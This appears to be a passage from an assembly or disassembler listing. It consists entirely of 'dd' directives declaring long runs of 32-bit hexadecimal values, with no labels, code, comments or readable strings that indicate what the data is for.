		dd 5E5E7EBEh, 27AD00B0h, 9831C78Bh, 0D8D12A75h,	320C87F4h
		dd 45C037Fh, 0BD75F0B1h, 0EB520085h, 4FF8318Ch,	0F483596h
		dd 65110A18h, 478AAC2Dh, 5F004492h, 29A3CB50h, 0B3103012h
		dd 0F999EEF1h, 57E299C0h, 15635622h, 0E8B0F6BCh, 0F8B84054h
		dd 0D7E93CC1h, 330D8A8h, 2E236CD6h, 0C4908AF7h,	8F58EEA5h
		dd 0F0148A60h, 0C0A09615h, 530C60B7h, 677500E2h, 9C442605h
		dd 4E13F619h, 24485293h, 71359F14h, 30E0F039h, 0B214B8C7h
		dd 6C3023h, 451A70C0h, 3034C5CCh, 83190835h, 71FA23A0h
		dd 0F06ED500h, 0C21C871Dh, 33B201B5h, 8E3C4D24h, 97498E11h
		dd 51BFC637h, 25572480h, 0BC68000Ch, 50B847A2h,	0ACF12C3Ah
		dd 11404C94h, 0A41EA670h, 7B2144F8h, 41A74600h,	8984F1B1h
		dd 946B09A3h, 0A820190Fh, 0EA7553D8h, 494C75Ch,	0F1C0BDF3h
		dd 0A6C00CC7h, 47AA394h, 0E2190EB6h, 207C89CCh,	4988C600h
		dd 2E3775A6h, 0CE2C4508h, 0B4C5B600h, 670E6BE8h, 6C8DAEE6h
		dd 4298410Dh, 0B95C13FAh, 8756F04Fh, 0B4BAAEB2h, 0C516044Ah
		dd 0CBB84020h, 0DD530726h, 63500Dh, 0F15D47D4h,	0CE0AF490h
		dd 1CEC91EEh, 86122A08h, 19F0A3EFh, 47635103h, 0E6939FE6h
		dd 60172E21h, 2C240002h, 0D0CEC3C9h, 2CDAB00h, 42180B8Eh
		dd 8DEE0213h, 3A631117h, 8A226844h, 48988123h, 0B201B423h
		dd 13B1F63h, 0FB0420CFh, 0CDC488h, 1AE13E7Eh, 0E586FFAEh
		dd 70ECC728h, 0A9C0397Dh, 7D0AF4B2h, 4D740083h,	0A409051Ah
		dd 0D8E3F5AEh, 4532477Bh, 0E48DF8FBh, 87514h, 6DD6D163h
		dd 8F6446F2h, 0CAE49B01h, 0BA04FC4h, 6E005C62h,	0B7F61762h
		dd 3904D81Ah, 98610A73h, 0A638BCC7h, 7131174h, 9900A20h
		dd 3EDD120h, 7AFC00E2h,	7F2B9732h, 83031A7Bh, 0F1B9BDFBh
		dd 0E24014BCh, 0A0584CB1h, 4DAF0CCFh, 0A1DB1B20h, 7B041FB5h
		dd 0EF61B051h, 7809F8C5h, 4084122Ah, 4C2BDA7Ch,	12C0E42Eh
		dd 0C4D542Dh, 0C364E707h, 85091C4Fh, 5C019F34h,	0ACBE646h
		dd 30E5FEE0h, 0EF5198ADh, 49D3E8A5h, 0BCFBC430h, 48A1071Ah
		dd 70060347h, 0D93050D1h, 0EA2F4101h, 5EC86701h, 2411F042h
		dd 4234881Bh, 0F200D779h, 3E1F35F7h, 4C521B0h, 92BCA925h
		dd 1140D084h, 93E9336Ch, 0E81CB1A1h, 0B433C452h, 0AD44B4B2h
		dd 0B48F23ECh, 53F03053h, 0B60437B4h, 7BAFBF8Dh, 631F21C2h
		dd 30CB8038h, 2F54B032h, 83D6B114h, 20F24130h, 0C7E60055h
		dd 0ED1DEF51h, 35762610h, 0DD1BAC09h, 989882B3h, 0C8D124E2h
		dd 3B007DACh, 0C2F58813h, 0E477EE14h, 0AA504E1h, 0B4DAF002h
		dd 22004688h, 98069E0Ch, 78EF5E7Bh, 0C9E600CAh,	5BBD2C91h
		dd 44B986EEh, 4E82A891h, 6CE1BEA0h, 945192A2h, 0B5260C90h
		dd 0E7AA008Bh, 89DD85E3h, 203EA699h, 7828D0BFh,	8315053Ch
		dd 0C3D019ACh, 28E8BB59h, 248D40h, 0F3B15668h, 77A5922Fh
		dd 0B7AB220Bh, 8B8000A3h, 13C1473Fh, 4BF6303h, 0C8984848h
		dd 0FDF0C3A4h, 100A1F30h, 0A8F0B005h, 3B1BC2E4h, 0DB12B4ABh
		dd 886012A7h, 21090504h, 1F9AAB6h, 0FD984760h, 0E03051BCh
		dd 3E3AE4B9h, 9C9D3F00h, 66F03591h, 360516BDh, 21EC1787h
		dd 0E4A49778h, 0A009A84h, 1AFAA8ECh, 24B27A01h,	900566Eh
		dd 0C09026B8h, 0E57F5989h, 6CA14500h, 9CACE42Fh, 260B0439h
		dd 88DBABC2h, 0D80FEC28h, 0E9CDBA50h, 42480984h, 24C0C6D4h
		dd 47508AEBh, 4497F2C8h, 45296482h, 0B08CE100h,	0C1F641h
		dd 0CFC5C07Eh, 0B57F4B66h, 0BCC7E901h, 371B5335h, 72F83180h
		dd 0A9B22762h, 0DC5F0938h, 2A1F007Fh, 0ACE631B0h, 353E2ED2h
		dd 69EE026Bh, 79C0D0A3h, 0B109F9EDh, 688E533Ch,	924164h
		dd 8A9FAACFh, 845E42D6h, 67A05107h, 1030BA56h, 4CC546D9h
		dd 4E8024E4h, 985778F0h, 0BA34B16h, 5C423812h, 7237A5F5h
		dd 1C790094h, 911A0563h, 0F47002B8h, 228D8501h,	6531C628h
		dd 0B28C59D0h, 0F6EB2200h, 0F00788F0h, 8E3F097Eh, 90A93Ch
		dd 791F48A7h, 0BA73333Bh, 1B514000h, 9286C33Eh,	6529C0E3h
		dd 9BF4936Dh, 0EA392800h, 0A7DCD958h, 2AEB1E73h, 0B28979CCh
		dd 281034A5h, 9F0030EDh, 0AF459AF3h, 0D0D5BCh, 915895F9h
		dd 13504FA1h, 0CBEB3514h, 48D889E4h, 0ED4E78h, 6F43077Ch
		dd 695E3EA9h, 80C97A17h, 88106030h, 222E00D8h, 0A1D446F0h
		dd 0F13F3E05h, 9F2D0191h, 0DF20AC90h, 5CD1EC21h, 328EEF11h
		dd 24385828h, 0A347A890h, 0A962AA40h, 0BFA524E8h, 911C18FCh
		dd 0A80031CCh, 119F2C27h, 589C47C7h, 604AE0ABh,	1C93780Ch
		dd 0EDA0E002h, 8154A8Ah
		dd 0BA59816Ch, 0D4A09195h, 5E00B8DAh, 0F5127DC8h, 0A0FB99E8h
		dd 59074Ch, 45BCB0AFh, 572C53C9h, 190FA5Dh, 0DCE18BD9h
		dd 34C806A6h, 7CF54990h, 81F83622h, 606B7E01h, 79BB1423h
		dd 85F3C8h, 626ADACFh, 3ED66D64h, 1190C1D0h, 0B80C12B4h
		dd 0D8582D5Dh, 0C0294584h, 863DF00Dh, 739980C7h, 0E0B1E89Bh
		dd 69F301D3h, 57F27129h, 8892E659h, 68469409h, 0B81F1D28h
		dd 27E86E48h, 0EF18117Dh, 49DE8C28h, 0F4E490E8h, 0F6BFCE2Ch
		dd 0C31AB401h, 184C8E6Eh, 163CB0A6h, 1DF67B73h,	0C31B8558h
		dd 623007D9h, 9631979Ch, 2B352008h, 848C990Ah, 28FE11h
		dd 0B46247CAh, 0A5C8A3E1h, 5AD1951Eh, 0B0785018h, 6C9977h
		dd 0F696168Eh, 6BEC28E1h, 0EA3B51C0h, 3E0B57h, 8C824F04h
		dd 0EEA631FEh, 3CF88A24h, 58269C64h, 1175F39h, 8D1AA46Fh
		dd 0B1C8C046h, 7140B0F1h, 3C70F3A1h, 1FB026B8h,	47500FCh
		dd 0F2770157h, 5E3CD818h, 0B0D08h, 6C564910h, 1CD30AA4h
		dd 5C8D9E06h, 320E3BDh,	0C8EAF477h, 0E0D0DC5Fh,	4100B20Fh
		dd 0A2FEA4EDh, 30527720h, 49590AF0h, 450161F8h,	78A8E1B8h
		dd 81C02A4Bh, 55A000B7h, 7E119779h, 0AE068569h,	703C7357h
		dd 768D0089h, 0E205EDE5h, 323DADE3h, 35278FAFh,	0F21F10DEh
		dd 1E6180E0h, 166B064h,	0F5843D00h, 0E73CE3E4h,	1B48C0F4h
		dd 0A0528BF1h, 0E0F51176h, 42381A86h, 0DAC480C1h, 21209DE6h
		dd 54050C5Fh, 638D688h,	0F1F9F131h, 43EE6FEEh, 3079F60Dh
		dd 88E105E5h, 0A00D77Ch, 8BB09FC3h, 60DF6E92h, 0B26529D9h
		dd 0AC03D0AAh, 58025085h, 25391F17h, 0D1B5EE7h,	0F0697A72h
		dd 1F032E7Ch, 540158F7h, 0EF192E14h, 4BD0CC6h, 0B31D5211h
		dd 450038EEh, 7F4EFF3Ch, 0E85B0A55h, 42E43F04h,	2C807472h
		dd 0D309E129h, 0E03F1715h, 9945008Ch, 0C03287EBh, 0B2191DD2h
		dd 7B14002Ch, 94815FBAh, 0E0A3F8C0h, 71CE51Eh, 0B72655D7h
		dd 12F00D5h, 0D6B8C482h, 49B6F11Eh, 45553540h, 72B7E744h
		dd 65DF0185h, 0FDB9F53Ch, 3422E5h, 0B85B2999h, 3131FF9h
		dd 0A956C022h, 54C8B3A5h, 6188579h, 27B9DBDCh, 173600AFh
		dd 380B08D3h, 84007360h, 0E19FDCFh, 0C4C2A54h, 144876E7h
		dd 909D1E9h, 21DC6302h,	0BDD0624h, 90DF8452h, 93B41E0h
		dd 60D4F9A6h, 332A8F00h, 260F38FEh, 87B8547Bh, 1C2A4A06h
		dd 0D7074820h, 0F11941A0h, 0A72E17E0h, 43A90012h, 0DE8276A6h
		dd 109216C9h, 0D91F44h,	3DF13C11h, 0D5C9C5ADh, 1B34B348h
		dd 92A140CCh, 352220Ah,	74841C80h, 14000708h, 0CCAC7322h
		dd 3ABAF1h, 8DF8C1EEh, 0DF92EC9Ch, 0B05F3C39h, 0AA45A1D2h
		dd 0B68E0F0Fh, 0C5AF5717h, 0A85538E0h, 4D163C6Bh, 190C063Bh
		dd 48573061h, 0E980D403h, 8684F41Eh, 1C915013h,	0EB3200A8h
		dd 0F8901F59h, 0B93AACB4h, 76A0007Ch, 5271E890h, 83BF0742h
		dd 0F6B76266h, 0C600D107h, 36358948h, 4C76270Fh, 0A103105Bh
		dd 8E7E986Fh, 178022h, 0E5DEF1BBh, 0D5FA4749h, 0C054FD29h
		dd 2D95B60h, 238400E2h,	0A70E29D7h, 0D61CF4A9h,	95132B72h
		dd 0EEF00020h, 38ED61F9h, 93085A05h, 491B0669h,	1463E159h
		dd 0F9DE0C41h, 57A7EF10h, 1893B891h, 69515301h,	50CC2698h
		dd 0DC5501C4h, 0FCED950Ch, 864E607h, 0B0CA3C24h, 7F211281h
		dd 6FEC47A0h, 0ACF701A2h, 0DED7157Bh, 0C8D180C5h, 72D407BEh
		dd 24B509D8h, 0E0113EBFh, 8A6AF45Dh, 8CBD6000h,	8DD930DBh
		dd 9D32906h, 48EC118Ch,	0AF6700ADh, 1D19F553h, 89EE03E4h
		dd 0EBA25047h, 5728797Fh, 7500D48Bh, 0B83511D0h, 60A9B429h
		dd 8AF251DEh, 83264594h, 0E4248893h, 50011F11h,	29A1CFDCh
		dd 979FFCD2h, 0D524AA01h, 0D657761Ah, 0F9927561h, 486821B8h
		dd 6EC7CC91h, 0D0BE4600h, 1284329Ah, 507A0059h,	8F5C1762h
		dd 0CFF2BAF6h, 0E3DF721Dh, 4BA00Bh, 82BC980Ch, 0AD7300B7h
		dd 2E28C367h, 5BB0F171h, 990B0330h, 8D2386h, 1CE83875h
		dd 2E2751E1h, 0DFBE5209h, 4A5C06F1h, 47773B99h,	0A843B780h
		dd 0FDB80ADDh, 4A872900h, 5F2BCBD1h, 3044E2EBh,	0C83181BDh
		dd 0C703978Eh, 4BA22F58h, 8D9981DFh, 855C60h, 2CAB020Fh
		dd 0BC644535h, 98724024h, 8560A80Eh, 0E420713Ch, 63D668h
		dd 0DC095E8Ch, 0E788D284h, 3212F5F6h, 5807D956h, 960387ADh
		dd 7D00D7B6h, 0C008B9C3h, 0AE8BB589h, 8801E1EDh, 0EB170A02h
		dd 0A280FAB4h, 0BB6D15BCh, 9C992010h, 0C906580h, 0ECE76896h
		dd 87700083h, 4FA8FF23h, 730051DAh, 0EB5EACBAh,	3AF2478Dh
		dd 520FAAD5h, 29807020h, 0A1AD9436h, 1492B426h,	60326602h
		dd 66604AAAh, 0F81800C0h, 28B7FFA3h, 1F00AED2h,	8DC13F8Eh
		dd 0E8EC2016h, 0EF0B0519h, 0C8560149h, 0D060DF20h, 0A96AB841h
		dd 25AF00ABh, 285A7A36h, 6C9187E7h, 0D199DB05h,	7E72E044h
		dd 187848C8h, 51F6B9F3h, 2A19584Ch, 72A0CF5Fh, 0E512D1FDh
		dd 29007064h, 236C39BCh, 3117EBFh, 7F56AC28h, 6103C92Bh
		dd 54E1E017h, 735AE0BBh, 45071ACFh, 40C04119h, 0A1078676h
		dd 3C60574Ah, 7C380556h, 20C904D7h, 0C38272F4h,	9971FA5Ah
		dd 0CCC6E500h, 85B4C051h, 0D0032C55h, 5774804Ch, 0CBB9BCB8h
		dd 408A2A09h, 50C4002Ch, 3E616D3h, 6F0B4270h, 91828357h
		dd 0FB895C40h, 1906E4Ch, 0CDEABE78h, 5A78B9A7h,	0F18DB700h
		dd 55372BFh, 0B8685930h, 2CB81BEBh, 833008FEh, 0E1FC276Bh
		dd 0F2113Bh, 1DEB82B9h,	4196C9h, 0AD7EBA69h, 0F0EA2BD6h
		dd 7328F898h, 0E548187Ah, 723183BCh, 0F33890B7h, 74C90C18h
		dd 998A0920h, 0B8F0BB50h, 3F38F8A4h, 51D9006Eh,	74B57885h
		dd 0D33004FDh, 0C5B449DBh, 3F18C863h, 0CB22F100h, 0CA558742h
		dd 0CCEA80FDh, 44DED128h, 4E155D1Dh, 46F6DC00h,	53402F5h
		dd 0AE350E6Eh, 289C058Bh, 0F54488BDh, 467CAC00h, 9C14A72Ch
		dd 96FF005Dh, 13A39079h, 0E9A232B5h, 3C070889h,	9331A150h
		dd 4062B8h, 0FA575A3Eh,	1EBB598Dh, 0F8A489h, 2033AA1Ch
		dd 78015105h, 5855A0CEh, 0CDDCF137h, 0EAF00372h, 4B089BDCh
		dd 0E846B7CAh, 686E370Bh, 0ADC68076h, 1382DC81h, 9E7CBCh
		dd 708CD699h, 40B1B9C9h, 532A000h, 742EFD7h, 5D01838Eh
		dd 0AE3EE0B6h, 7B29728Dh, 411D0C7h, 6F615800h, 0BDD7B5BFh
		dd 0C666B00h, 0B2C9DCFAh, 0BCF059F3h, 835B9C4h,	88FE1060h
		dd 41559CE3h, 0A8505A09h, 1CE4C0DBh, 0C9A6D719h, 0B010E2D8h
		dd 31741B6Fh, 0E0990500h, 0CBFEC325h, 4FC0203h,	9ED64DA8h
		dd 0A312F052h, 8822F04Ch, 0BD06C0DCh, 280600DBh, 0CD0A6458h
		dd 0A900F50Eh, 0F3E38EB8h, 9AB7F007h, 560618ACh, 0EFEA79F7h
		dd 78E74D0Bh, 60E82191h, 0FC60B581h, 3061D2D2h,	1C2944C8h
		dd 3600BC7Bh, 222A12EBh, 0B6F49EEh, 3F8AD64Bh, 10076411h
		dd 3BB3DDA4h, 2C775562h, 0E769E1h, 230CBD73h, 38CC6E40h
		dd 26726165h, 4A54ED7Dh, 6E5E2DCh, 0F1C0BCA0h, 0C403A66Fh
		dd 0C8BC18F4h, 429EB863h, 84E491A1h, 0CC40C354h, 0CE3E8040h
		dd 1D58187Ch, 34DFBF49h, 85088DD1h, 0F0D4807Dh,	0D4678BDBh
		dd 9B0029C9h, 5DCC0B7h,	4D02F28h, 6200056h, 0F312F182h
		dd 45008F7Bh, 279A5F6h,	28DEAC24h, 34A0FCDDh, 14AA9EDBh
		dd 9CDF8CA0h, 810C00D3h, 1E51EA15h, 1BDF93Eh, 1FEE5EDAh
		dd 8828D7DFh, 0B47C16h,	0D9C3616Ch, 2C587F55h, 487332C0h
		dd 0B7BC4057h, 5A400034h
		dd 0DDCF35A2h, 0F02A50D1h, 0B100E0D3h, 1EF75DA4h, 92BB0Bh
		dd 3C7C34Bh, 97B7B674h,	847BD41Ch, 9C30AD92h, 0F0C88F2Ch
		dd 2F7403EDh, 10E4F00Ah, 0B4A02EF3h, 11348A0h, 0F8018AC9h
		dd 8B53355Ch, 3B106DCh,	4F86FC0Ah, 0F1CA8578h, 403EAC46h
		dd 70423C8Ch, 9E8F1600h, 506D2706h, 167CEA3Ch, 5B8A84Bh
		dd 88607260h, 8D017874h, 17C6B0FFh, 90DC2AFBh, 4D792272h
		dd 0C93C7811h, 0AEE66902h, 9041DE57h, 48208007h, 9468C62Eh
		dd 36411CA9h, 7C0540B8h, 903F9382h, 0CC127CB0h,	0ED005527h
		dd 6A1C9935h, 64480029h, 6F07E433h, 0EF00196Ch,	4CF63C56h
		dd 0C36A2EDh, 0D25558BAh, 43602529h, 8F4C3A08h,	50033A7Fh
		dd 4EF78300h, 0B510C0A0h, 8E39A807h, 8649DD90h,	305854h
		dd 6122A148h, 5BC8726Eh, 1D060400h, 891279D1h, 73D430CBh
		dd 3DB15929h, 0E89A71C0h, 602283E4h, 0D88A7951h, 11007D96h
		dd 69FDED73h, 0F7545Ah,	37A059AAh, 3BC39280h, 43BC40D6h
		dd 58BE3200h, 891468AEh, 47782A01h, 1809232Bh, 0C06BE0C0h
		dd 0C7F10479h, 0F572831Eh, 0BB55DE17h, 1810FA10h, 64083093h
		dd 0B1120188h, 1DEDCFC9h, 8B5FF0B9h, 4C8C6503h,	1CD4D847h
		dd 0C3C67A81h, 5FA83073h, 30A6C158h, 9DD3494Dh,	0C3DC05E9h
		dd 55DDBCCh, 0C0BEB544h, 14BAF494h, 0C7D2F103h,	0AC9A915h
		dd 44B05990h, 0D1CB8690h, 6818396Ah, 2019426Dh,	0F6993A93h
		dd 0CFC07100h, 7F045F9Ch, 0B5C6A300h, 93D34978h, 8F9801DAh
		dd 0BD37BE9Fh, 903CD0AEh, 0E54CD770h, 9A7D3D87h, 8C04C44Eh
		dd 154120FBh, 18480D13h, 6DC07000h, 2D575483h, 0C2431D02h
		dd 9FA027h, 8C9E607Fh, 0C164600h, 15FCADC8h, 0D994037Bh
		dd 0ABBDCE27h, 0B994900h, 47D4DAA2h, 62D202C2h,	0A31A26F2h
		dd 0D0801408h, 5F98BB5Ch, 1EA21FE8h, 9591BE84h,	794229Fh
		dd 7AD99603h, 0BB9C9087h, 260079B4h, 0BFF74C66h, 194ECE8Eh
		dd 39B227C1h, 90C1097h,	5DB500F4h, 82713D01h, 1036CD8Ah
		dd 0F9382162h, 0F879FD0h, 115A99FCh, 77CBC07Fh,	7014FA6Fh
		dd 261CE20Eh, 2B9F41F1h, 308F40CCh, 0A918245Eh,	8E00480Bh
		dd 1244F781h, 7265D5F2h, 479C0AD8h, 682704h, 2C2CE4Ah
		dd 5EE22118h, 0EB167803h, 0B0702EB1h, 1844DA72h, 319CC2BDh
		dd 0A9C096A8h, 0C61C1830h, 985F0F7Bh, 401FD501h, 8A6661F2h
		dd 6E014558h, 0DA96A339h, 40948B23h, 0C9392427h, 76EA3607h
		dd 0DF0730CCh, 0C1007711h, 6028D110h, 78F2F30Eh, 0F9A70247h
		dd 5AF50CCCh, 0C6CE8C83h, 499F8000h, 0C46EC82Fh, 931E0C13h
		dd 0BE18E942h, 0A9549C54h, 775C6B00h, 75D90CFFh, 64F81C23h
		dd 474E43D4h, 291F60BDh, 5C1C17Ch, 0A80671D5h, 0EAAA30FCh
		dd 1FDD0098h, 0BC790985h, 0ECA0CB8Eh, 6189AF52h, 0DA944010h
		dd 850505B0h, 8D418E57h, 47389E0Fh, 9DC0DFCDh, 0C4C5FD3h
		dd 0CF273A3Fh, 68A5148h, 15D9C2E4h, 9491C0BDh, 0EE26337Ch
		dd 40B03E19h, 0D36ADB8Fh, 76084E9h, 3ACC3Fh, 0BF61EE5Bh
		dd 0AA40D389h, 13387D00h, 0F125326Dh, 0CC1048CCh, 5C8BB2Ah
		dd 37D60F9Ch, 78F2C0CDh, 0B63CA6BCh, 4F6160E0h,	1672C4DDh
		dd 0AF83F319h, 23383001h, 40207F56h, 2B8A08AFh,	2788420Ch
		dd 32A18E96h, 9147BBC1h, 70006003h, 2769A400h, 8372A752h
		dd 7774046Bh, 905F5EA5h, 10330BB4h, 9FF7CF1Fh, 79410A7Ch
		dd 2606984Fh, 28A0BA20h, 209CFE8Eh, 3008A5C8h, 73D6BCDh
		dd 30C2E7BAh, 0BF3E8194h, 79B67024h, 5180C300h,	0C9388BEh
		dd 0D0E735ADh, 2A0033E1h, 1A8B1B8Fh, 5C20D8h, 0DCB531CEh
		dd 5308FD6Fh, 0FCA0C673h, 0CCA1B0F9h, 8D798204h, 82CAB426h
		dd 223FD9DCh, 182983C2h, 16994060h, 87BBB9h, 666410F4h
		dd 4E300CCDh, 5F8220BFh, 0D760C9Ch, 0F39947E1h,	808CA73Ah
		dd 4273C450h, 1A330A0h,	0B378DED9h, 808827C6h, 91AF8069h
		dd 5030E0h, 17322052h, 0E7319D4Eh, 5F76900h, 1FFD2FC4h
		dd 0BC5F26AEh, 0A5F00947h, 24D8AC03h, 90B9C022h, 2E954420h
		dd 0E993CF00h, 0D01C8822h, 0C02600A2h, 0F0AE6F57h, 0CCA0A43Eh
		dd 0B8008682h, 45E0C65Eh, 0DC92BCBDh, 5915CA41h, 0A5F28ACCh
		dd 70E714F0h, 4E97980Eh, 0DD6DFA60h, 0B248BFF6h, 332A223Ch
		dd 0CDA4A8EBh, 0DDE89CE3h, 0BC24B5DAh, 0BE88640Ah, 318218CFh
		dd 0CCAB05CDh, 0A880B7C2h, 43344C62h, 2DA0C5Ch,	0DB935C9Eh
		dd 4410662Ah, 0CC1E98ACh, 41182C0Ah, 28E9A35Eh,	71B481ADh
		dd 0E452934h, 0C88FBE8Ch, 0E820061Ch, 52DBF92Dh, 6B04AB7Eh
		dd 4B6A5107h, 70EE3200h, 5840920Dh, 306444AAh, 76BCE22h
		dd 2D9743BBh, 8E51B0C1h, 3E001E4Ch, 77A53454h, 665B42Eh
		dd 271104EFh, 14004184h, 0A53812ABh, 1F90971h, 0D2F0B182h
		dd 0F01B2D25h, 0D9DD1A9Fh, 0F146E74Ch, 9BA800C6h, 37AFE307h
		dd 2518D91Eh, 318955CDh, 278F007Bh, 290BFB45h, 32F63EF2h
		dd 493F5A32h, 83F720D1h, 33DF646h, 5BB5800Ch, 8DE55A85h
		dd 539D013Ch, 3218996Dh, 0D461D6BFh, 3F082227h,	0F7F40248h
		dd 667E3A5Fh, 0D79B0014h, 11A518AFh, 5F001CE1h,	0CAA921F9h
		dd 7723F4h, 0BF42E03Ah,	44EEF765h, 0B2698D02h, 812C9FECh
		dd 854DBD60h, 5E41518Fh, 0A4F1491Dh, 4096C424h,	3D67AA5Bh
		dd 0CF140018h, 6F03467Ch, 853BD98Dh, 70E81708h,	0F7AE1800h
		dd 542C8A8Fh, 185EA4C3h, 49A61FCDh, 3A2C15E9h, 0BC397CC9h
		dd 2D368D05h, 31803C87h, 96712117h, 801E119h, 46FB5D0Fh
		dd 4DDCE472h, 34AE246Ah, 30C21490h, 318EC900h, 5893C72Eh
		dd 0D457FDEFh, 0D9C4023Dh, 28C91DCDh, 913E6D60h, 18802464h
		dd 84F249C5h, 0BCA27498h, 44AF5C24h, 70872D94h,	35214DA6h
		dd 804944E7h, 0BF4D7E6h, 95AE6603h, 32B13802h, 0CAE8A339h
		dd 5CC4A043h, 80001E92h, 0BDA73F73h, 3C19CBC1h,	27E6370Fh
		dd 1C001189h, 24153D21h, 1ED77A1h, 0F9FEF198h, 60919755h
		dd 849AD5ECh, 83413F04h, 2836182h, 0B47010DAh, 6CD128Fh
		dd 4271F027h, 0DAEC847Ch, 0A637269Bh, 716A1BCCh, 0ECA4C9B5h
		dd 1F007CA0h, 0F0D1B09h, 50C956Eh, 49FBFEDBh, 0D847804Eh
		dd 8061730h, 64A869Fh, 3F984468h, 0AF002EE2h, 3D60277h
		dd 13C778DCh, 20E7B25Ah, 0CA707324h, 0F6F4DDFEh, 7B229826h
		dd 8AB4B507h, 0B4225155h, 986720D3h, 38032373h,	3EFDBCD9h
		dd 15C1F8B8h, 0E62E0393h, 497ECEDAh, 7662D2C9h,	954476BCh
		dd 85370035h, 0E0AACE32h, 280106D8h, 1EAC8E4h, 0B2F06808h
		dd 0FD9CA33Ch, 0C83BF020h, 23ED0032h, 7CCAA8FBh, 0F88BACBDh
		dd 83D5461h, 8C24E748h,	25319C00h, 137574DEh, 960F5Bh
		dd 99C97C64h, 9C1742A3h, 6416BE83h, 8F97F044h, 0E5808748h
		dd 0A8CFC7F7h, 2C135DA1h, 36288C5Ch, 891D79D8h,	40331298h
		dd 0B0813934h, 0F3A11F87h, 0CDC1B1E0h, 3B64220Bh, 3CB87A3Fh
		dd 0C900544Ch, 0FC001698h, 9460E6Bh, 407E2ED8h,	0A150F1Eh
		dd 0A7009FE1h, 0D2375444h, 0B126E7ABh, 0E1807A8h, 9BB780FDh
		dd 0D212B0C6h, 7C20BF6Bh, 0B0EB0333h, 4311C076h, 0EACFC9D3h
		dd 2E2FCC1Eh, 0BC07C2Ch, 96B1FA27h, 59C0C000h, 8E020C22h
		dd 0BAB88BB5h, 0E660CC25h, 87851375h, 9DA00894h, 0DE698480h
		dd 27FE321h, 18030C3Dh,	98E3354Eh, 608028A2h, 0AEDDA55Fh
		dd 0EA8E8502h, 66198AB0h, 0A668C834h, 475F3F8Fh, 9D52D70Fh
		dd 0B3C0DD56h, 0C060CE58h
		dd 15A41631h, 0F18200B0h, 9D3DA7B1h, 5F044730h,	0BDA55AC4h
		dd 0F8CC58C4h, 0CEE78866h, 4CA90A8h, 2832AC00h,	29C764ADh
		dd 0E2070138h, 940EC0B2h, 86E7E0B6h, 3C106899h,	7D00C722h
		dd 3360A0FFh, 30F0078Ch, 2929CCE7h, 4F01BFBBh, 0C3111354h
		dd 0B9C84E6Bh, 38AD1F68h, 85AF827Ch, 0F040948Ah, 8C962707h
		dd 0A7D10A80h, 8EED5Ah,	0FF0EB2CCh, 0EBCF8318h,	24C0933Ah
		dd 9712BCACh, 7592828h,	411DC79Ah, 98503036h, 0C0008E9Ch
		dd 8A1FE593h, 24994933h, 80006CA8h, 0F9BF75A3h,	0F8B8D015h
		dd 0CEAC51E9h, 36945068h, 140385A5h, 0AC33C88Fh, 9162A822h
		dd 0BB7D0153h, 11CDEBBCh, 0E7D8485Fh, 7C802B54h, 36123900h
		dd 0AB9C4903h, 2F8301A9h, 640F9EE1h, 503888CEh,	2A81B8EEh
		dd 497ADFFDh, 782DA8h, 730A2D61h, 7A7C0EEAh, 514E0001h
		dd 851C5639h, 0D8B99D29h, 78D0BA80h, 2CA8B328h,	2C3C94D6h
		dd 3A9B0674h, 8550E116h, 74027C54h, 2778B8CFh, 0A4926Fh
		dd 0B54063Ch, 953000EEh, 41DC26E1h, 1301ED72h, 0CB2048C2h
		dd 0B9E88642h, 540BA1Fh, 0D605AAF6h, 60B48637h,	4CD8C902h
		dd 0E082F831h, 58819CD0h, 8F22448Ch, 65E82501h,	5F584A3Bh
		dd 5C172FF8h, 0C102ACF2h, 0CD619EE3h, 0CC83C491h, 0E713DBE0h
		dd 0F903F0A9h, 0A02C6549h, 13289BE2h, 0D11FCCB4h, 0BCD59410h
		dd 8F370F99h, 720BE0h, 0D048F284h, 0A0DA3493h, 9CC40E89h
		dd 0D4C1FC95h, 0C851870Eh, 0FD1D9E74h, 7F0F8A45h, 66C0096h
		dd 26C7C90Ch, 117C0E46h, 42638A6h, 7BE77135h, 79A60C3h
		dd 8A0CD719h, 0B41FC01Ah, 60C0FB7Ah, 9801FC9Fh,	4A191230h
		dd 0B21CC410h, 0F87500FCh, 363F5677h, 0B5EF0E4Ah, 22E1AA7Ah
		dd 0E463A6B6h, 0B1C135CCh, 148A95F6h, 59A12C28h, 417F40Eh
		dd 1C481500h, 4ED41EC7h, 8C4C9CC4h, 533999BDh, 5E7FCC1Eh
		dd 19E9B700h, 0C51526Bh, 0C3BD21ADh, 343A3C51h,	0BF2E7CA9h
		dd 0F42CF8FCh, 0F642C024h, 845226h, 0FAE2347Ch,	8DF31283h
		dd 0ECA0A0EEh, 6099CD54h, 0DC59C487h, 1B5E3190h, 0CAE9004Ah
		dd 0E2133F46h, 9FF05292h, 0E9DF5CFCh, 40E62300h, 7A30AFF3h
		dd 5A1B13BBh, 0ECC8D0CDh, 26004851h, 0AC538F03h, 16788C2h
		dd 817B80E6h, 0A52C4393h, 0C7D010C9h, 3A500026h, 0E7C23D49h
		dd 63F290Bh, 8532943Fh,	80CD88A8h, 0F54BCBEAh, 651842C7h
		dd 6486E824h, 0F60C0059h, 92FE3880h, 31C54943h,	0E4881DCDh
		dd 51DA6F94h, 0C277A285h, 247A27A0h, 0B9357A00h, 214D8AF2h
		dd 480458CEh, 0A420A59Dh, 36991862h, 8AC52E14h,	0CD0BC1BCh
		dd 0A4E26C82h, 0A8FC1E28h, 9F89816h, 7C05D6DCh,	0A4C0442h
		dd 0F24641A6h, 11801926h, 34732B41h, 0DB2E9486h, 75501CAAh
		dd 2FED0676h, 0C85C7D62h, 33079701h, 0CA4EF732h, 0ECA0C468h
		dd 0B30E64EEh, 60146A60h, 30CFF674h, 9FD8EB6Dh,	98E7522Bh
		dd 0FB0FE000h, 2260F894h, 7998480Ah, 608884Ch, 4794BF9Ah
		dd 3216443h, 6440E3Eh, 10418A85h, 0D61E9C00h, 28309928h
		dd 45C85FF7h, 0A066FEA5h, 98BFE907h, 31E07029h,	3F3CBD4Fh
		dd 0A82E10B0h, 0CCA345ECh, 2F38CA2Ch, 2518007Ah, 38343B7Fh
		dd 764B313h, 4332B881h,	98E8C733h, 0B904C4E6h, 1BB392A8h
		dd 44071CC4h, 1F821282h, 2D066ACh, 78FC507Dh, 7C80A897h
		dd 0AC204358h, 0C430B902h, 73147099h, 9E0B0BE4h, 896A2887h
		dd 140078EDh, 0CDF4855Fh, 2F881F10h, 0E2758046h, 90D84093h
		dd 0ECC004B6h, 1DC5B44Dh, 2C5CA93Eh, 80300045h,	572318BAh
		dd 87696000h, 5FED257Fh, 0A51CA024h, 0FCD0014Ch, 20F767C4h
